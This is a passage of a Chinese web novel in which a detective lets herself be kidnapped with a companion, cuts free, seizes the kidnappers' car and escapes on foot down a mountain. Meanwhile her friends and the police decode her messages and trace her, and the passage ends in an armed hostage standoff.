“今天晚上不行,你乖乖在家睡觉吧,我得走了。” “……我不放心你一个人开车。” “你驾照考出了没?不是还去驾校训练吗?你坐在我旁边就能避免事故了?” “万一出事也能和你一起出事故,比你一个人受伤好一点……” “看不出来你居然想和我同归于尽。” …… 最终左成冬还是被留在了这里。 陈定言一个人开车回家。 她这次解决了一个大案子,没有现场线索和死亡线索,全靠证人证言推理出来。 可把她厉害坏了,她回家后还不想睡觉,绘声绘色地把整个推理过程给裴勉知讲了一遍,尤其是太奶奶的那个部分,她特别添油加醋地渲染了一下恐怖氛围。 “可以睡觉了。”裴勉知开始催促她睡觉。 她指了指房间门:“那我去休息了。” 他绷着脸:“……你什么都不给我吗?” 她伸手:“我要给你什么?应该是你给我才对,拿来。” 裴勉知大步走近她。 她见他气势汹汹的势头不对,好像已经忍了很多天的脾气了,连忙临时改口:“不拿来。” 他便停下脚步:“随你。” 只要她拒绝,他就不可以再往前。 陈定言伸手:“手,牵一下。” 他愣了一下,正要伸手去拉她的手,她却缩回手,嘴角上扬:“不牵,逗你的。” 裴勉知咬住后槽牙。 他自己定的游戏规则,咬碎牙也得遵守。 五行缺德的邪恶版侦探陈定言再次发出指令:“拥抱。” 狼来了的故事演多了他就不相信她了。 他冷哼了一声,转身朝自己的房间走去。 她三两步跟上去,从背后给了他超大的一个熊抱。 “好玩吗?”他冷冰冰地问她。 她一脸看穿:“不好玩,我已经破解你了。” 他转过身,扶住她的腰将她搂起来,直到她的双脚都悬空了,坏心眼地颠了她一下。 “你说清楚,你刚才的意思,难道我是一次性谜题吗?” 见他真的要爆发了,陈定言从他身上跳下来以后便一路逃窜进了房间。 …… 结束案子后,陈定言的感觉是:空虚。 她的头脑在短短一上午就有种生锈的错觉。 得找个人来练练脑子。 她顿时想起了她和裴宿献的约定。 在灶肚藏尸案结束后,MVP最终结算会正式拉开序幕。 陈定言约了裴宿献傍晚在河边见面,老地方。 裴宿献双手抄在口袋里,背对着桥栏杆看向桥上的行人和来往的车流:“你还真是不放弃,我以为你已经对我没兴趣了。” 陈定言觉得无语:“我想调查的,还从来没有放弃过。” 裴宿献冷眼扫了她一眼,慢条斯理地问:“揭穿我,对你来说有什么好处?” 陈定言忽然感觉到抓住了什么关键词:“你最怕被揭穿,对不对?” 裴宿献的表情滞了一下。 【人类最丑陋的是流露在外的情绪。】 【她曾经维护他的自尊,像给赤/身/露/体的他盖上衣服。】 【现在她正在亲手剥掉他所有的自尊,让他丑陋的情感一点点/裸/露。】 “走了。”裴宿献直起身子就走。 陈定言跟上前去,拦在他面前:“你怎么不遵守约定?我们说好今天把事情说清楚的,你绕来绕去又绕回上次的话题了。” 他低着眉眼看着她,嘴唇一动吐出几个字来:“没意思,我不会再陪你玩这个人性推理游戏了。你胆子大因为你谁都不爱,但我不见得有那个勇气。” 第80章 第80章消失地点是地下车库 老年人就是顽固。 陈定言脑子里冒出来这句吐槽。 这毕竟是有点不太礼貌了。 于是她甩了甩脑袋把这个念头扔掉。 “那你这样不就算是放我鸽子了吗?”她质问。 裴宿献临走前,还转过头声色俱厉地道:“别跟上来。” 她给他比了个鄙视的手势:“你玩不起。” 裴宿献走开后,陈定言在桥边郁闷地看了一会儿风景。 说好的今天结算,他为什么临时变卦? 裴宿献让她觉得很难懂。 他狡猾老练,洞察力强的同时擅长伪装,而且犟得九头牛都拉不回来。 她想了想,忽然觉得有点不太对劲。 …… 裴宿献谨慎地走回地下车库。 他去桥上和她见面的时候,他总觉得身后有人跟着,但他不确定。 为了不让她卷进他的事件中,他特地对她说了比较难听的话,在今天的“约会”中放了她鸽子。 他沿着地下车库的斜坡往下走。 没有人跟上来了。 他没有回头,稍微松了一口气。他拿出手机,给陈定言发消息:【你回家去吧,我和你也不合适。】 用“军师”的身份靠近她,清除她身边的那些桃花,或许是出于私心,或许是出于好意,他不知道。 他对她说过很多次:他们不适合你。 但他知道,最不适合的是他,最不可能站在她身边的是他。 她和其他的暧昧对象有足够多的契机见面,足够多的理由偶遇,足够充足的时间相处,但他什么都没有。 连这些片刻的时间都是他主动厚颜无耻地靠近,用军师的身份“骗”来的。 裴宿献发完信息就按灭手机屏幕,他往地下车库深处走去。 车位不远,拐角处,他那辆车安静地停着。 裴宿献走近汽车,途中却停下脚步。 并不是错觉。 有人跟在他身后,但不是车库外面的那个人。 他很确定这不是从外面进来的那个人,而是在不知道什么时候就潜伏在地下车库里等待他的人。 他察觉到了,但对方也察觉到了他的异样。 裴宿献往自己的汽车方向冲去,同时从口袋里取出车钥匙,按下解锁键。 滴滴,车灯闪了一下。 就在这时,他的后颈一紧,被掐住脖子的同时,被侧方上前的一人又按住了,手腕被狠狠扭住。 不止一个人! 因为挣扎,他的颈项上青筋突起,在薄薄的皮肤下血液飞快泵送。 视野变黑。 紧接着嘴巴也被布料堵住了,他闷哼了一声。 其余感官被封住后,听觉便十分灵敏,他听到鞋底在地下车库的水泥地上摩擦发出的声音。 车后备箱打开的声音。 他感觉到自己被拖进狭小的空间内,脊背撞在了车侧壁上。 紧接着,后备箱门关上的声音“碰”的响起。 有人从他身上摸走了手机,用指纹解锁,似乎在翻他手机上的短信等内容。 另外一个人给他注射了一剂药品。 裴宿献昏迷了过去。 …… 不知过了多久,裴宿献被撞醒了。 他的眼前依然一片漆黑,身体也因为长期保持那个被扔在后备箱的姿势而有些僵硬。 但他忽然感觉到身边有另外一个人。 她身上的味道让他一下子就认出了她。 陈定言! 她为什么也会在! 恐惧在他头脑内炸开。 他明明发消息让她回家去了。 陈定言已经解开了绑着她手的绳子,她伸 出手在他掌心里写:【我故意被绑的,别担心。】 怎么可以这样。 她是笨蛋吗! 裴宿献被气得胸膛微微起伏,他虽然看不到她,但能感觉到她,后备箱的狭小空间让两人几乎挨在了一起,她身体的热度正隔着布料传到他身上。 迟早有一天他是被她气死的。 他无奈地想。 【现在他们正在交接人手,绑架我们的这些人,和要带走我们的不是同一批人,绑架犯把车停在了树林里,等待真正要接手我们的人。】 陈定言并不觉得她以身入局是做错了,如果她没有来的话,现在这两拨人进行交接后,恐怕绑架的线索就会断掉。 她怀疑这次绑架事件背后牵扯着更大的事件。 而这起事件应该多多少少和裴宿献曾经在南岛遭遇的“死里逃生”经历有关。 她把现在的情况尽量快速地告诉裴宿献,同时注意着车外面的情况。 绑架犯共有三人,一个开着另一辆车在树林口望风,另外两人守着这辆绑着人质的车,其中有一个人在车外抽烟,另一个人在车内驾驶座刷手机。 树林里很安静。 绑架犯一号叼着烟,有些焦躁地一口一口往外吐着烟气:“那帮人怎么还不来?是临时不准备给我们钱了吗?” 绑架犯二号坐在驾驶座,车窗摇下半扇,他把胳膊搭在半开的车窗上,一边往下划着视频,一边对外面的同伴道:“你急什么?大概路上遇到麻烦事了,高速公路道口最近警察查得挺严的,我们要是走高速公路也得被盘问。” 绑架犯一号弹了一下烟灰,目光扫视过车尾:“你轻点声,万一这俩醒了呢。” 绑架犯二号心倒是挺大,不停刷着短视频:“醒了又怎么样?能认出咱们的声音不?呵。再说我们就是拿钱办事,要查能查到咱头上来吗?” 绑架犯一号谨慎地把烟头收进随身携带的垃圾罐里:“我去打个电话问问外面的。” 他一边解锁手机拨打电话一边往稍远处走去。 …… 调查事务所。 裴勉知打不通陈定言的电话,脑子里的那根弦一寸一寸地开始绷紧。 已经是傍晚时分。 虽然她和小叔叔出去约会了,有可能晚饭一起吃了,但为什么关机? 他的双眉紧蹙,脸上的线条在灯光下显得比平时更冷更锋利一些,握着手机的手指用力:“还是关机的话,我就当你出事了。” 正在打确认电话时,事务所来了客人。 “我是梁天时,她应该跟你提起过我。”青年自我介绍道。 裴勉知没想到会是这个不速之客。 他放下电话。 他想起陈定言对他说过梁天时的事。梁天时曾经说过在他整理好自己的事之前不会出现在她面前。 裴勉知不免有些敌意地看向梁天时:“她不在,我有事要忙,请回。” 梁天时平静地道:“你要忙的事应该和我要说的事一样。” 他和陈定言每天都会有解谜交流,今天下午她给他发了一条不明所以的消息。 【猫又躲到最下面的抽屉去了,你看看吧。】 “消失地点是地下车库,速查。” “既然她会用暗号,说明可能涉及比较严重的案件,她知道对方会检查她的手机,而且当时紧迫没时间做其他准备。我已经报警了。” 80-87 第81章 第81章困局 接到梁天时的报案后,鉴于现在的线索只有一个暗号,暂时只能判断为失踪,并没有更多线索指向有可能有人对陈定言进行了绑架。 因此,警方只让两名警员前往地下车库进行调查。 出警的是宗警官和怀警官。 孟行霄很少有这种不冷静的时候,他的面部线条收紧,眉头蹙起,嘴唇紧抿:“为什么不让我去?” 郝警官拍了拍他的肩膀,安慰他道:“你和当事人关系太近了,怕你不冷静。没事的,你要相信我们的同事。” 更糟糕的是,孟行霄和郝警官手头上正有一个刑事案件。 孟行霄的眼神死死盯着宗警官和怀警官离开的方向,他的手指蜷缩了一下。 倒霉的命运即使在此刻也没有放过他。 她陷入危险,而他甚至无法直接参与调查。 傍晚六点多,宗警官和怀警官到达调查事务所,询问了一下裴勉知情况。 刚才在经过商量后,裴勉知和梁天时决定分头行动,裴勉知在事务所等待警察到来,而梁天时则前往地下车库相关管理方开始调查监控。 “报案的那个梁天时呢?”怀警官问。 裴勉知回答道:“他去要那个车库监控了。” 他表面上平静,脑子里的弦却差不多要崩断了。 从一开始,他选择和她住在一起就是为了防止这种事的发生,防止她被犯人相关势力报复。 但她就在他的“保护”下失踪了……! 尽管如此,他告诫自己必须冷静,相信陈定言的同时,做出最正确的选择。 裴勉知深呼吸了一口气,让自己的头脑思路更加清醒,把另外一个线索也告知了警察:“裴宿献也失踪了。” 宗警官:“裴宿献?……” 裴勉知:“他是我的小叔叔,他今天委托陈定言一件事,两人出去谈了,估计是一起失踪的。” 怀警官又开始胡乱猜测:“为什么不可能是你小叔叔带走了陈定言?你了解过你小叔叔吗?” 裴勉知之前确实在陈定言面前说过小叔叔的坏话,让她小心一点。 但他也知道那时他因为吃醋而编造谣言的成分居多,他也不会料到未来真的会发生这种事,而且正是在她和小叔叔相处的时候出的事。 上天会惩罚每一个因为吃醋而胡说八道的人。 怀警官得出结论:“不管怎么样,你小叔叔也应该列在嫌疑人名单上。” 宗警官在小本本上记下线索后,对裴勉知道:“接下来我们会去地下车库管理方查监控,裴先生,请你就待在事务所,密切注视周围的一切情况,万一有情况就联系我们,如果陈定言回来了就最好。” 裴勉知沉默。 警察走后,他站在空荡的事务所内,强迫自己维持冷静。 他的使命似乎永远是留在原地等。 就算在这种紧急时刻,他也被要求留在原地等待她回来,无法亲自前往她所在之处。 而这个命运,是他一开始就自己选择的。 他并不甘于此…… 但他不得不留在原地。 傍晚六点五十分,薛繁恩火急火燎地过来了。 “她呢?我打不通她电话。出什么事了吗?” 裴勉知冷笑了一声。 总算还有比他更可怜的人,某位身为“初恋”的男人,几乎无权知道她的行踪,就连出事了也不会告诉他。 “失踪了,已经报警了。” 薛繁恩头脑轰的一声。 他简直无法相信裴勉知会用这种语气说出这种话,但他突然就下定了决心,不会再容忍裴勉知的存在。 他不和裴勉知多废话,转身就走。 等走出事务所后,薛繁恩才陷入了迷茫:他应该去哪里找她? 如果对陈定言来说,裴勉知是被种在原地的树,那么薛繁恩就像是云,他用尽全力顺着风却追不上她的行踪。 偶尔,她才为他驻留一会儿。 薛繁恩忍耐着回到事务所,低声下气地问:“告诉我,警察怎么说的?” 宗警官和怀警官前往附近的那个大型地下车库,前往搜证。 一番检查后,车库内并未发现明显的打斗痕迹和血迹等。 “看来只能去看看监控了。” 傍晚七点多,两位警官来到地下车库的物业管理处,要求调查监控。 果然如裴勉知所说的,梁天时已经在了。 这小子倒是跑得快。 从接到暗号,到破解暗号,到报警,到调查监控,每次都是神速。 怀警官疑神疑鬼的,暗暗地把梁天时也加入了嫌疑人列表。 宗警官:“什么?里面的监控坏了?” 物业监控管理员挠了挠头道:“是啊,这……这怎么说呢,至少我们出入口的监控还在的!” 宗警官无语:“绝对是为了省电费, 把里面的监控断电了,也得亏这些年车库里没发生案子,要是发生案子……” 监控管理员诚惶诚恐:“下次一定下次一定。” 由于地下车库里面的监控不存在,只有出入口的监控,因此调查监控的难度大大增加。 在下午2点12分,宗警官在车库的入口监控处看到了裴宿献。 紧接着,2点14分,陈定言也进入地下车库。 “两人前后就相差两分钟。” 监控进度条一直往后调,裴宿献的车和陈定言的车都没有从出口离开。 “也就是说,两人可能是坐其他的车离开了。” 怀警官戳了戳正聚精会神拉监控进度条的梁天时:“梁先生,请问看出来了什么没有?” 梁天时头也不回:“抱歉,不要打扰我。” 怀警官有些挫败,脑袋上打雷下雨去一边郁闷了。 两分钟后,梁天时才道:“我应该知道是哪一辆车了。” 宗警官和怀警官仿佛顿时拥有瞬间转移能力,像兔子一样跳到梁天时身后,两颗头碰在一起,声音一个赛一个大:“哪辆?!” 一辆黑车。 它在下午1点54分,跟在裴宿献的车后进了车库,在下午2点35分出了车库。 “2点14分以后还有好几辆车出了车库,怎么知道是它?” 梁天时解释道:“因为水管破裂,地下车库出入口有一大滩积水,所有这里所有的车轮胎上都有被水浸湿的痕迹。” “在它进入车库的时候,这辆车的后轮胎被水浸湿的高度在这里。” “当它离开车库时,后轮胎被水浸湿的高度却高了一公分左右,说明后备箱变重了。” “这一点还可以从其他车的轮胎变化来对比,其他车在离开车库时后轮胎被水浸湿的高度都是降低的,因为水正在蒸发,而且车辆驶入会带走不少积水。在这种情况下,轮胎被水浸湿的高度依然升高的话,后备箱里增加的重量应该不少,超市购物带来的那些商品重量远远不够。” …… 树林里。 黑车驾驶座上那个绑架犯二号依然刷着手机。 在外面抽烟打电话的绑架犯一号走远了一点,以免被车内醒来的人质听到通话内容。 绑架犯一号讲完了电话,正要挂断电话。 突然,身后传来了汽车启动的声音。 绑架犯一号吃了一惊,连电话都来不及按掉,回过头:“你怎么搞的?你……” 脑袋嗡的一下。 驾驶座刚才摇下一半的车窗现在已经完全合上了,漆黑的太阳膜让他看不到里面分毫的情景。 与此同时,那辆车动了,径直往前面开去。 他根本不知道他的同伴在搞什么幺蛾子,他拔腿就追上去:“你疯了吗?你要把车开到哪里去!” 但车已经一下油门蹿了出去,尾气卷着碎草叶扬起来。 黑车擦着灌木丛轰轰地冲进了小道深处,像脱缰的野马一样不受控制。 第82章 第82章那太卑鄙了 夺车行动是临时策划的。 这次的犯人很谨慎,雇佣了代办商专业绑架团伙实施前半段的绑架行动。 在这种情况下,即使警方找到了这辆车,也无法追踪到陈定言和裴宿献被绑的地址。 因此,陈定言决定改变计划。 从一开始发现不对劲,故意走进地下车库让自己被绑架的那一刻起,她就做了点准备。 下午2点14分,陈定言走进地下车库。 随后,她悄悄找到自己那辆一直停在车库内的车,从车里找到她准备着的应急工具,在身上藏好。 手机可能会被查,因此她给梁天时发了暗号。 接着,她故意在地下车库内装作是寻找裴宿献的样子,等待犯人出现:“裴宿献!” 下午2点18分,犯人果然因为担心她坏事儿而在车库内将她一起绑了扔进后备箱里。 被注射了麻/醉/剂后她陷入昏昏沉沉的状态。 下午3点56分,黑车从小路一路辗转来到郊外山路上,驶入林间,等待交接。 陈定言是在3点52分醒来的。 她怀疑注射的是氯/胺/酮,在醒来后她仍感觉到肌肉无力。 其实她刚才不应该那么冒险的,下次不会再这么冒险了。 陈定言后悔了几秒,不过也只有几秒而已。 因为当时的情况申请外援封锁地下车库根本来不及,不封锁车库,线索就很可能会随着汽车的离开而彻底中断,并且人质裴宿献会有更大的危险。 她的手背后交叉扭转,让绑绳稍微松动一点,然后摸索着用手指摸到那个她临时戴上去的戒指。 戒指上的刀片弹出。 随着刀片来回锯割的动作,绳子在磨着她的手腕。戒指里隐藏的刀片有些小,切了一会儿才彻底割断绳子里的麻筋,纤维断裂。 她松开绑着手的绳子后,便去拧裴宿献,促使他从昏迷中醒过来。 拧倒是没拧醒他,一个头槌却成功撞醒他了。 扯开蒙眼的布条。 裴宿献睁开眼看到她的时候,因为光线的变化眼睛不适应地眯了眯。 后备箱里空间小,两个人被迫乱七八糟地叠在一起,还不敢有大动作,生怕惊动绑匪。 裴宿献对这种距离更加不适应,他垂下眼,睫毛微微颤动,尽量让自己忽视她的体温和呼吸。 陈定言观察完周围的环境后,确认了计划。 总共有三个绑匪,一个在车里,一个在车附近,从对话中可以听出林子外面还有一个绑匪守着。 如果要打开后备箱逃走也不是不可以,拉开后备箱应急门就可以了。但外面有绑匪守着,再加上她和裴宿献被注射氯/胺/酮后浑身仍处于一个比较无力的状态中,跑不快。所以从后备箱逃走绝对不是好办法。 绑匪能搞到氯/胺/酮,说明正式交接的犯人那边还有不少违禁药物,如果被交接到那些人手中恐怕情况还要再恶化。也就是说,现在趁着交接之前就逃离是比较安全的做法。 综合以上两点,从内部夺取车辆的控制权是最佳选项。 她把这个方案告诉裴宿献。 首先是把后座座椅悄无声息地放倒,以便能顺利地从后备箱爬到汽车后排。 她将手伸向座椅背后的释放拉环,提前垫上自己的袖子,拉动拉环,并且用双手拇指和中指提前夹住释放拉环的金属环,缓慢提起。 后排座椅的其中一个单独座椅自然翻倒下来。 她用左肩贴在座椅靠背上,往前压住,一点点推动。 这样,通向后排的“通道”就这样悄无声息地打开了。 并不困难。 比较有难度的是下一步。 坐在驾驶座上的绑匪一号正在刷手机短视频,这对她和裴宿献来说是好事。 但这并不意味着当她或者裴宿献从放下的座椅上爬过去的时候就不会被注意到。 窝在后备箱里,她呼吸了一口气。 裴宿献拉住她示意她让他先过去。 她把手上的防卫戒指摘下递给他:【拿上这个,这里是开关。】 裴宿献竟愣了一下。 这是防卫戒指,不是求婚戒指,搞清楚。 他一定是被氯/胺/酮搞得头昏脑胀了,才会在这种紧急关头走神。 他接过戒指。 他的身体依然有些虚弱,用膝盖与前臂支撑着,避免压在座椅中心的弹簧区域发出声音,小心地呼吸着。 坐在驾驶位的绑匪一号抬起头稍微探出车窗外,和外面的绑匪二号说了几句话。 好机会。 裴宿献顺势迅速爬过翻倒的座椅,在后排通道上潜伏下来,把身形隐藏在驾驶座椅后方。 车外的绑匪一号走远了一点去打电话。 裴宿献趁着这个时机,从驾驶座椅后方猛然起身,捂住了绑匪一号的口鼻,用安全带勒住了驾驶员绑匪一号的脖子! 他以前是医生,很清楚应该怎么做才能让一个人悄无声息地 昏过去。 绑匪一号很快就失去了意识。 裴宿献按下关车窗键,让车内彻底成为一个密闭的空间。现在的他还没有力气和时间搬动这个驾驶员绑匪,于是他直接把驾驶座椅放倒,往后推,腾出空间来。 这么一连串动作做下来,本就因为被注射麻/醉/剂而身体虚弱的他急促地喘着气,转头看向陈定言。 陈定言也从后备箱爬过来了。 她还保存着力气,迅速占领驾驶位,拧动车钥匙,点火,踩下油门。 黑车在她的控制下迅速离开原地,擦着灌木丛驶入树林深处。 这就是夺车行动的全部。 …… 夺了车,也只意味着两人获得了较高的机动性。 危险依然存在。 绑匪二号见此情况一定会联系同伙。因此,在树林外蹲守的绑匪三号可能会驱车追击。 同时,前来交接的真正犯人也会参与狩猎。 裴宿献正在处理那个驾驶员绑匪,他拿过驾驶员的手机,打开导航,切换成卫星图。 这里是郊区山上的半山腰,树林入口大概率是那条上山主干道路边的斜坡。 主干道:很可能已经被绑匪同伙占据了,高度危险。 树林的另一端:坡度变陡,是未开发的陡峭山坡,高度危险。 水渠检修道:非正式道路,但供维护人员和小型检修车通过,这种羊肠小道开车不便,但步行较方便。 这辆车肯定会被同伙用GPS锁定位置,继续开车逃跑反而更加危险。 因此解决方案很明确了。 “找个地方弃车,顺着水渠检修道往山下走。” 陈定言选了个比较缓的斜坡扔车。 为了避免那个昏迷的绑匪一号意外死亡,她特地和裴宿献商量了一下,把绑匪扔出车外面,让他躺在斜坡上。 汽车顺着斜坡缓缓往下滑,有时候梗到树木会卡住,然后因为重力作用继续往下慢慢移动。 这样一来,绑匪的GPS追踪点会显示还在这里缓慢移动。 扔了车以后,两人步行去找水渠检修道。 因为麻/醉/剂残效尚未完全消退,两人都还虚弱,只能互相搀扶着,沿着检修步道往山下走。 水渠沟槽贴着山体蜿蜒而下,坡度比盘山公路陡峭,如果是开车,反而出事故风险更大。 小路很窄,一侧是水,一侧是坡,脚踩下去,落叶下面是黑泥和水窝。 他的右手绕过她的腋下,紧紧扣住她的腰间,谨防她突然一个踉跄沿着窄路滚下去。她的左臂则绕过他的肩膀,环住他。 两人互为支撑点,贴得很近,重心向山坡内侧倾斜,步伐错开,免得踩到对方。 “这回你得把你之前在南岛的事情说清楚了,不然这事没完。”陈定言一边往山下走,一边不忘逼问他。 裴宿献避开她的目光,低声道:“抱歉,是我把你卷进来了。” 她不满地抬起手拧了一下他的脸颊肉:“不用在这里说东说西的,你就回答我,你在南岛遇到什么事了?” 被拧了一下脸颊,裴宿献立刻反应过来:她在报复他上次捏她脸颊的动作。 他无处可躲,便将他之前所遇到的事如实地阐述了一遍。 原来当时,裴宿献的父亲让他去一趟南岛代办事情,但那是个仇人设下的陷阱。 表面上,商业伙伴邀请他参观工厂,签署初步供应协议,但他们给的见面地点根本不是他们在南岛的工厂。 见面地点在南岛的工业开发区外围地带,看起来也确实像是“医疗电子产业园”,但实则里面是一个犯罪组织的秘密基地。 裴宿献以为这里便是工厂,便进入那个荒僻无人的基地,但他在垃圾处理处看到了奇怪的药品包装和针筒之类废弃物时,便知道情况不对劲。 幸亏他发现得快,否则他那次甚至无法逃出那个工厂。 陈定言点头:“犯罪组织,违禁药品,南岛。” 她已经明白了。 这个犯罪组织就是以孟行霄为男主的整个剧情中的主线案件。 最开始的剧情中,外婆差点被杀是因为捡到了那个“疑似装过奇怪东西的自封袋”,根据陈定言的推理,那可能是样品、物证等。 现在看来,那个装过奇怪东西的自封袋,就是犯罪组织的违禁药品。 在原本的剧情中,外婆因为“疑似目睹交易现场”而被灭口。 在陈定言魔改后的剧情中,外婆活下来了,发现基地秘密的成了裴宿献,被绑架的也变成了裴宿献。 兜兜转转的,总要有一个人被抓走灭口对吧? 陈定言怀疑这就是世界意志搞出来的蝴蝶效应。 天色有些黑下来了。 两人依然沿着水渠检修道往山下走。 本就是“脆皮”体质的陈定言今天能撑到现在已经是极限了,多亏了这几个月以来的体能训练。 她饿得像个瘪掉的气球:“不知道警方有没有出动,希望尽快找到我们吧,我好饿。” 裴宿献不说话,手上的力道加大了一些,让她能以更轻松的姿势在他身上借力。 他知道自己一开口就会露馅,一败涂地。 他只要侧过脸就能亲吻她。 但他不能。 那太卑鄙了。 第83章 第83章人质 现在最糟糕的状况就是:没有手机。 陈定言和裴宿献的手机一开始被绑匪搜走后,便不知所踪,有可能是绑匪为了分散风险,把两人的手机放在了绑匪三号的车里。 那个被裴宿献打晕的绑匪一号的手机因为被其他同伙监视着,所以也不能带走,免得暴露位置。 不过,刚才在扔掉昏迷的绑匪一号时,陈定言借用了一下那人的手机,给梁天时发了一条短信,很快从手机中删除记录。 …… 【公园,长椅,两个字你还记得吗?】 这条来自陌生人的短信到达时,梁天时几乎瞬间明白了。 梁天时将这个线索告诉了宗警官和怀警官。 “绑匪去了山上。她现在已经逃走了,逃走的路线靠近水渠。” 怀警官目瞪口呆:“怎么、怎么看出来的?不是公园长椅吗?这两个词和你得出的线索有什么关联吗?” 梁天时微笑:“这是秘密。” 他和陈定言每天在玩的解谜游戏中,有一次他是给她拍了一张从城西公园的长椅角度所看到的落日,她凭借照片推理出地点后便去长椅下方找到了粘贴着的小纸条,她把纸条收起来后,又在长椅下粘了一张她写的纸条。 在这个互相传情报的举动中,陈定言那天写的小纸条内容是【你喜欢山还是喜欢海?请回答。】 能给他发“公园长椅”这种暗号的,只有陈定言。 怀警官催促道:“那你再回短信问问她具体情况。” 梁天时无奈地解释道:“她不会再用这个手机了。” 由于给他发短信的是一个陌生人的手机号码,说明她已经逃出来了。既然已经逃出来了,那么她为什么仍然用暗号?答案只可能是:这是绑匪的手机。 至于“山上”和“水渠”的推理过程: 虽然短信的内容看起来像是“公园”和“长椅”这两个词,但她特地用了“字”,很容易就想到她实际上指的是公园长椅下的小纸条上写着的“山”和“海”这两个字。 在这个区,没有靠海的山。那么“山”和“海”到底指的是什么?山上的海,是湖泊吗?本区也并无有湖泊的山。既然如此,“海”应该是指汇入大海的溪流等水体。根据逃跑路线的难易程度推理,如果是寻常的溪流,可能会途经比较陡峭的悬崖和密林,并不利于逃跑,因此只可能是人工凿出来的路线。 答案十分明了:她的逃跑路线选择了山上的水渠检修道。 到现阶段,已经基本上可以确认失踪,而且极有可能是绑架案。 因此,一开始接手这起疑似失踪案的宗警官和怀警官将案情 进展上报后,片区警局立刻成立了调查队,指派了案件的队长,搜索组,技术组。 技术组连夜加班,查那辆从地下车库离开的黑车,查手机号码。 这是警方现阶段能获得的唯二线索。 宗警官:“希望小陈侦探能成功逃出来吧,尽快联络上我们。” 怀警官:“天都晚了,她现在是不是在哪里荒野求生啊?她行不行啊,我怎么瞅着她体力看起来不是很行的样子。” 宗警官给了怀警官一个脑瓜子。 比较倒霉的是,由于孟行霄和郝警官正在负责调查另一个刑事案件,到了追查犯人的最后关键阶段,这两人没有被指派进入调查队。 郝警官只能觍着脸在下班后,假借给朋友订了个外卖的名义,偷偷向中场休息的怀警官和宗警官打探情况。 “小孟很着急,现在他被排除在外了,更着急了唉。”郝警官描述道。 调查队实施三班倒制度,怀警官和宗警官由于已经工作了一整天了,现在开始便有休息的时间了。两人吃着好友送来的外卖,闲聊了几句。 怀警官幸灾乐祸:“管他呢,他急死最好,看他平时什么事都冷静得要命,我还真看得不顺眼死了。” 宗警官安慰道:“让小孟不要急,没事,人逃是逃出来了,只不过还没联络上警察,估计还在山里。” 郝警官松了一口气:“我会跟他说的,我这就去给他打电话。” 郝警官出去打电话了。 …… 孟行霄挂掉电话。 他把车停在了路边,依然挂着引擎,前后车灯亮着。 他的神色有些疲惫,小臂打横搭在方向盘,低下头把额头枕在了小臂上,将脸埋在方向盘上。 呼吸贴着方向盘的皮革,在其上弥漫上雾气又很快在空气中蒸发。 他的睫毛轻颤了一下,手指握紧,手背上青筋浮动了一下。 他到底该做什么? 引以为傲的推理能力在此时一无是处,因为他连一点线索都无法接触到。 他可以接受倒霉到高考落榜、岗位意外被抢,但他无法接受这件事:她正处于危险中,他却什么都做不了。 他稍微抬起头来,脸部线条绷紧至近乎锋利,看向前方。 汽车引擎声音加大。 …… “小孟说明天他请假。”郝警官从外面回来了。 宗警官担忧道:“他不会做什么傻事吧?” 怀警官了然:“肯定要做傻事,我会不知道这种偏执狂的秉性吗?” 郝警官叹了一口气:“可能自己开车去山里找人了。光是附近郊区都有好几座小山,更别说再远一点还有其他地区,这找得过来吗?” 怀警官仍然是落井下石的态度:“能有什么办法?咱又不能泄密,搜索失踪人员是调查队的事情,和他无关哈。让他找去吧。” 调查队内。 技术组已经通过锁定那个绑匪的手机号码信号最后所在地,找到了那座山。 突击组沿着盘山公路推进,封锁下山出口,以确保如果绑匪还在山上的话能及时抓捕。 “当前不确认绑匪是否已经逃离,因此也不能排除绑匪为了夺回人质仍在山上的可能性,遇到可疑人员请务必先控制后核查,如果确认威胁,优先保护人质。” 现在是晚上八点半。 较好的可能性是绑匪还在山上,正在寻找逃跑的人质。 另一种较好的可能性是绑匪已经离开这里,只剩下人质。 较坏的可能性是绑匪已经抓住了人质,但还没有逃离此处。 最坏的可能性是绑匪已经重新抓住人质逃离了该处,那么线索就会全部断掉,人质陷入更加危险的境地。 除了突击组的行动外,搜索组和警犬沿着水渠检修路和山林小道搜索,寻找人质痕迹。 警犬跑在小队前方,嗅闻着搜寻着,时不时停下来原地转圈,扒拉某处地面。 到某处时,警犬发出了低吼。 “它闻到东西了!” 搜索小队加快步伐,跟着警犬。 警犬停下来了,冲着前方狂吠。 在手电筒光的光圈中,映出几个站立的人形。 …… 孟行霄到达现场的时候,几束手电交错形成的光柱十分显眼。 他加快脚步,往前走近的时候心脏一紧。 警犬的吠叫声音惊心。 搜索小组组长正低声向指挥总部报告: “算上车内的同伙,对面共有四名绑匪,绑匪重新抓住了人质,手上有枪,而且两名人质都已经陷入昏迷状态,现在情况非常棘手。” 绑匪的汽车后备箱里是两名重新被注射了麻/醉/剂的人质。 坐在汽车后排的绑匪之一手里握着冲锋/枪,枪/口指着裴宿献,他提出要求:“解除山下封锁,拿五千万来,不然我杀了他。” “请求谈判组远程支援。” 正在搜索小组准备连接谈判组,开始与绑匪对话时,赶来现场的孟行霄却突然开口道:“我来换人质。” 现场安静了片刻。 绑匪看向这个不速之客。 …… 他们真正要杀的是裴宿献。 然而如果直接杀了裴宿献,警察一查他去过南岛的事,那么组织在南岛的基地就暴露了。 也正是因此,他们采取先绑架后灭口的形式,伪装成“为了拿到赎金而策划的绑架”。 现在陈定言和裴宿献有接触,大概率陈定言也知道了南岛的事,因此陈定言也是被灭口的对象。 这也是为什么他们选择给人质注射麻/醉/剂,让人质昏迷不醒的原因:正是为了避免人质传递消息。 既然怎么都不能让两名人质活下来,那么从理论上来说,换人质是绝对不可行的。 “不行,谁知道你会不会耍什么花招?”绑匪皱了皱眉,拒绝了孟行霄的提议。 孟行霄步步紧逼:“如果让我替换人质,立刻给你们解开山下封锁呢?” 搜索小组组长已经按捺不住了。 “请归队,不要干扰谈判!按程序你现在是要被调离现场的。” 要不是因为孟行霄抓捕率高,是个业务能力强到可怕的警察,恐怕山下的封锁小组根本不会放他上山来。 孟行霄回答道:“我在被批准上山时就已经被编入调查队了,按程序不会被调离现场。” 搜索小组组长咬牙:“……” 面对孟行霄的提议,绑匪们也陷入了两难。 理论上来说是绝对不能换人质的。 但如果要伪装成是为了赎金绑架人质的案件,那么“解除封锁、索要赎金”是他们的主要目的,人质是谁不重要。 所以如果他们拒绝换人质的请求,反而可能会暴露他们的动机并非赎金。 “关于人质交换,我们自己先商量一下。”绑匪再次提出谈判条件。 …… 与此同时,梁天时看着眼前破译出来的暗号: 【注意内鬼。】 第84章 第84章内鬼 